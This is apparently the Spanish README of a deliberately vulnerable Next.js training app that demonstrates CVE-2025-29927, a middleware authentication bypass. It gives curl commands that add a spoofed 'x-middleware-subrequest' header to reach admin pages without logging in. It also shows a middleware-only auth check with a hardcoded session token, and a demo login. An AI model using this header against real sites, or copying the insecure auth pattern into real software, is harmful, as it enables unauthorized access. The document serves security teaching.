
ADVERTENCIA: Esta aplicación es intencionalmente vulnerable. Solo para fines educativos y de investigación de seguridad autorizada. No la implementes en un servidor público.
Esta aplicación demuestra CVE-2025-29927, una vulnerabilidad crítica de omisión de autenticación en el middleware de Next.js (CVSS 9.1). La aplicación simula un panel de administración corporativo realista para la empresa ficticia «Himalaya Tech Pvt. Ltd.», lo que hace que el impacto de la omisión sea visualmente convincente.
Todos los registros de empleados, claves de API, credenciales de base de datos y demás datos «sensibles» mostrados son totalmente ficticios y simulados, generados únicamente con fines de demostración educativa.
| Campo | Detalle |
|---|---|
| CVE ID | CVE-2025-29927 |
| Gravedad | Crítica (CVSS 9.1) |
| Afecta | Next.js ≤ 14.2.29, Next.js ≤ 15.2.2 |
| Corregido en | Next.js 14.2.30, 15.2.3 |
| Tipo | Omisión de autenticación en middleware mediante manipulación de cabeceras HTTP |
Next.js utiliza una cabecera HTTP interna x-middleware-subrequest para rastrear llamadas recursivas del middleware y evitar bucles infinitos. En las versiones vulnerables, un atacante puede falsear esta cabecera en una solicitud externa. Cuando la cabecera está presente y coincide con el identificador del middleware, el runtime de Next.js omite el middleware por completo, incluida toda la lógica de autenticación definida en él.
Cualquier aplicación que dependa únicamente de middleware.ts para proteger rutas (un patrón común y recomendado en Next.js) es vulnerable. Un atacante no autenticado puede acceder a cualquier página protegida con solo añadir una cabecera HTTP.
curl -v http://localhost:3000/admin
# → 307 Redirect to /login
curl -v \
-H "x-middleware-subrequest: middleware" \
http://localhost:3000/admin
# → 200 OK — full admin dashboard HTML returned, no authentication required
# Admin users page
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin/users
# System settings with "production credentials"
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin/settings
Añade la cabecera de solicitud x-middleware-subrequest: middleware a cualquier solicitud a /admin/* y la comprobación del middleware se omitirá.
middleware.ts es el único mecanismo de protección:
// middleware.ts
export function middleware(request: NextRequest) {
if (pathname.startsWith("/admin")) {
const token = request.cookies.get("auth-token")?.value;
if (!token || token !== "valid-session-xyz123") {
return NextResponse.redirect(loginUrl); // ← this entire function is skipped
}
}
return NextResponse.next();
}
Los propios componentes de las páginas (p. ej., app/admin/page.tsx) no contienen comprobaciones de autenticación, a propósito, para reflejar aplicaciones reales que siguen el patrón de protección exclusiva mediante middleware.
npm install
npm run dev
La aplicación estará disponible en http://localhost:3000.
*Protegidas solo por middleware — omitidas por CVE-2025-29927.
[email protected]Admin@2024Esta aplicación se proporciona únicamente con fines educativos, específicamente para demostrar el impacto en el mundo real de CVE-2025-29927 en un contexto de curso de seguridad ética. Todos los datos (registros de empleados, claves de API, credenciales) son totalmente ficticios. No utilices esta aplicación de demostración ni las técnicas aquí mostradas contra sistemas que no poseas o para los que no cuentes con permiso explícito de prueba.
| Ruta | Autenticación requerida | Descripción |
|---|
/ | No | Página de inicio pública |
/login | No | Formulario de inicio de sesión |
/admin | Sí* | Panel de administración con datos sensibles |
/admin/users | Sí* | Gestión de usuarios |
/admin/settings | Sí* | Configuración del sistema y credenciales |